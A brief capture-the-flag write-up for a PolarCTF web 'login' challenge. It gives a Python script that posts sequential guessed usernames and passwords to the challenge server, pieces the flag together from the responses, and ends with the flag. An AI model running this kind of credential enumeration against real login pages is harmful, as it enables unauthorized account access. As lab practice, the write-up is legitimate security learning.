PoloarCTF WriteUp
PoloarCTF WriteUp
Web
login
import re
import requests
res = ""
url = "http://5077cb7c-84a4-4a16-84e9-8a4547f7efbc.www.polarctf.com:8090"
for i in range(2, 30):
username = "202001{:02d}".format(i)
password = "202001{:02d}".format(i)
payload = {
"username": username,
"password": password,
"submit": "Submit+Query"
}
resp = requests.post(url, data=payload)
p = re.findall(r"[a-zA-Z0-9]+", resp.text[-10:])
if len(p) != 0:
res += p[0]
print(res)
flag{dlcg}